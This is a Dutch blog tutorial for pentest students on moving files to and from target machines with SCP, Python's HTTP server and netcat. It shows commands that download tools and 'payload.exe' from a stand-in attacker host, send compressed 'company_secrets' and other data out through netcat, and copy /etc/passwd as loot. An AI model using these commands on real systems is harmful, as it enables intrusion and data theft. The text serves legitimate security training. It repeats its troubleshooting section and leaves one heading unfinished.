File Transfer in Pentesting: SCP, HTTP en Netcat in de Praktijk

Stop met het vertrouwen op handige shortcuts die niet bestaan in echte penetratietest scenario’s

Als penetratietester die zich voorbereidt op certificeringen zoals PNPT (Practical Network Penetration Tester), ben je misschien geneigd om VM gedeelde mappen te gebruiken voor bestandsoverdracht tussen je attack platform en doelmachines.

Ik gebruikte gedeelde mappen lange tijd. Ze voelden efficiënt aan. Totdat ze midden in een lab kapot gingen, faalden door permissies, of gewoon niet beschikbaar waren. Toen realiseerde ik me: deze convenience bestaat niet in echte engagements.

Hier is de harde waarheid: je ontwikkelt slechte gewoontes die je pijn gaan doen in echte pentests.

Laat me uitleggen waarom gedeelde mappen een doodlopende weg zijn en je de professionele technieken tonen die er echt toe doen.

Waarom Gedeelde Mappen een Doodlopende Weg Zijn

Bij het opzetten van een homelab met QEMU/KVM, VirtualBox of VMware lijken gedeelde mappen de voor de hand liggende keuze. Maar dit is wat er in de praktijk gebeurt:

  • VirtioFS: prestatieproblemen, permissiefouten, SELinux-conflicten
  • 9P-protocol: verouderde technologie, trage invoer en uitvoer, verbindingen vallen weg
  • VMware Tools: werkt in het lab, nutteloos op echte doelsystemen
  • VirtualBox Guest Additions: hetzelfde verhaal

Het echte probleem is niet technisch. Het is dat je de vaardigheden die je echt nodig hebt niet leert. In een echte penetratietest heb je geen gedeelde mappen, geen guest tools, geen beheerderstoegang om hulpprogramma’s te installeren en geen directe toegang tot het bestandssysteem van het doelsysteem. Wat je wel hebt: netwerkverbinding en een commandoregel, als je geluk hebt.

De Realiteitscheck: Hoe Echte Pentesting Werkt

In een echte penetratietest heb je niet:

  • Gedeelde mappen naar je doelmachines
  • Guest additions op de server van het slachtoffer
  • Administrative toegang om convenience tools te installeren
  • Directe filesystem toegang tussen systemen

Wat je WEL hebt:

  • Netwerkconnectiviteit (hopelijk)
  • Command line toegang (als je geluk hebt)
  • Beperkte tijd en hoge druk scenario’s

Dit is precies wat professionele certificeringen testen. Real-world scenario’s zonder gemakken.

Key takeaway:
Als je file transfer methode guest tools vereist, overleeft het geen echte pentest.

Professionele File Transfer Technieken

Laten we de vaardigheden opbouwen die er echt toe doen. Zo handelen cybersecurity professionals bestandsoverdrachten af:

1. SSH/SCP Foundation (Je Primaire Tool)

SSH is niet alleen voor externe toegang. Het is je meest betrouwbare manier om bestanden over te zetten, en het werkt overal waar SSH beschikbaar is.

# Initiële setup (eenmalige configuratie)
ssh-keygen -t ed25519 -f ~/.ssh/lab_key
ssh-copy-id -i ~/.ssh/lab_key user@target

Daarna werkt bestandsoverdracht zonder wachtwoorden:

# Upload exploitation tools
scp linpeas.sh user@10.10.10.50:~/

# Download gevoelige data
scp user@10.10.10.50:/etc/passwd ./loot/

# Batch transfer
scp *.py user@internal-server:/tmp/

Als SCP niet beschikbaar is omdat je geen directe SSH-toegang hebt tot het doelsysteem, kom je bij de volgende methode uit.

2. HTTP Server (File Staging en Exfiltratie)

Python’s ingebouwde HTTP server is de beste vriend van een pentester.

# Host je toolkit
cd ~/pentest-tools
python3 -m http.server 8080

# Alternatieve poorten (als 8080 gefilterd is)
python3 -m http.server 9000
python3 -m http.server 4444

Bestanden ophalen vanaf een Linux en Windows doelsysteem:

# Linux targets
wget http://attacker-ip:8080/exploit.py
curl -O http://attacker-ip:8080/linpeas.sh

# Windows targets (als je PowerShell hebt)
Invoke-WebRequest -Uri "http://attacker-ip:8080/nc.exe" -OutFile "nc.exe"
# Of de old-school manier
certutil -urlcache -split -f "http://attacker-ip:8080/payload.exe"

Als poort 8080 gefilterd is, probeer dan 9000 of 4444. De server logt alle verzoeken automatisch bij, wat handig is voor het bijhouden van wat er overgedragen is.

3. Netcat (Raw Data Transfer)

Netcat verwerkt ruwe gegevensoverdracht zonder afhankelijkheden. Het werkt in beperkte shells waar wget en curl niet beschikbaar zijn.

# Bestand verzenden (vanaf het doelsysteem)
nc attacker-ip 9999 < sensitive-data.sql

# Bestand ontvangen (op je attack-box)
nc -l -p 9999 > received-data.sql

Andersom, als je een tool naar het doelsysteem wilt sturen:

# Aanvalsmachine verstuurt
nc -l -p 9999 < tool.sh

# Doelsysteem ontvangt
nc attacker-ip 9999 > tool.sh

Voor grote bestanden combineer je de overdracht met compressie:

tar czf - /opt/backup/ | nc attacker-ip 9999

Pro tip: Netcat werkt wanneer al het andere geblokkeerd is. Leer het, houd ervan.

Handig voor:

  • Restricted shells
  • Beperkte command sets
  • Firewall restricties op file transfers

Echte Pentesting Scenario’s (Waarom Dit Uitmaakt)

Laat me je echte scenario’s uit professionele engagements tonen:

Scenario 1: Initiële Foothold

# Je hebt shell toegang gekregen maar hebt enumeration tools nodig
# Geen gedeelde mappen hier!
wget http://attack-box:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

Scenario 2: Privilege Escalation

# Potentiële privesc vector gevonden, specifieke tool nodig
curl http://attack-box:8080/pspy64 -o pspy64
chmod +x pspy64
./pspy64 -pf -i 1000

Scenario 3: Data Exfiltratie

# Gevoelige data gevonden, moet geëxtraheerd worden
tar czf company_secrets.tar.gz /opt/backup/database/
nc attack-box 9999 < company_secrets.tar.gz

Scenario 4: Lateral Movement

# Verplaatsen naar intern netwerk
scp ssh_exploit.py user@internal-host-10.10.1.50:~/
ssh user@internal-host-10.10.1.50
python3 ssh_exploit.py

Veelvoorkomende Problemen

SSH Connection Refused

sudo systemctl enable ssh --now
sudo ufw allow ssh

HTTP Server Niet Toegankelijk

ss -tlnp | grep :8080        # Check of het luistert
ping target-ip               # Test connectiviteit

Permission Issues

chmod +x script.sh           # Maak uitvoerbaar
ls -la /target/directory/    # Check permissies

Veelvoorkomende Problemen

SSH-verbinding geweigerd:

sudo systemctl enable ssh --now
sudo ufw allow ssh

HTTP-server niet bereikbaar:

ss -tlnp | grep :8080    # Controleer of de server luistert
ping target-ip          # Test de verbinding

Permissieproblemen:

chmod +x script.sh
ls -la /path/to/directory/

De meeste problemen met bestandsoverdracht zijn eigenlijk netwerk- of permissieproblemen. Controleer altijd eerst de verbinding voordat je de methode aanpast.

Muscle Memory Opbouwen

Oefen deze commando’s tot ze tweede natuur zijn:

# Dagelijkse workflow commando's
scp tool.py target:~/              # Snelle tool upload
python3 -m http.server 8080        # Instant file server
nc -l -p 9999 > received_file      # Data ontvanger
nc target 9999 < sending_file      # Data verzender
ssh user@target                    # Snelle remote toegang

# One-liner combinaties
cd ~/tools && python3 -m http.server 8080 &
ssh target "wget http://attack-box:8080/tool.sh && chmod +x tool.sh"

De Professionele Mindset

Hier is de mentale shift die je moet maken:

Van: “Hoe kan ik dit handiger maken?”
Naar: “Hoe zou ik dit doen als ik alleen netwerktoegang had?”

Van: “Laat me gedeelde mappen opzetten voor gemakkelijke bestandstoegang.”
Naar: “Laat me de file transfer methodes oefenen die ik echt ga gebruiken in engagements.”

Van: “Deze lab setup moet gebruiksvriendelijk zijn.”
Naar: “Deze lab setup moet echte attack scenario’s repliceren.”

Conclusie: Vaardigheden Die Overgaan naar

Snelle Referentiekaart

Bewaar dit voor je toekomstige engagements:

# SSH/SCP (primaire methode)
scp file.txt user@target:~/
ssh user@target "command"

# HTTP Server (staging/exfil)
python3 -m http.server 8080
wget http://attacker-ip:8080/file.txt

# Netcat (ruwe transfer)
nc -l -p 9999 < file.txt           # Verzender
nc target-ip 9999 > file.txt       # Ontvanger

Onthoud: De beste techniek is degene die werkt in jouw specifieke scenario. Beheers ze allemaal.

De gewoontes die je in je lab opbouwt, neem je mee naar echte opdrachten. De volgende keer dat je geneigd bent om gedeelde mappen in te stellen, stel jezelf dan één vraag: zou dit werken als ik de server van een echt bedrijf aan het testen was?

Als het antwoord nee is, weet je wat je moet doen.

Welke methode gebruik jij het meest? Heb je situaties meegemaakt waar gedeelde mappen nutteloos zouden zijn geweest? Laat het weten in de reacties.

Laat een reactie achter

Je e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *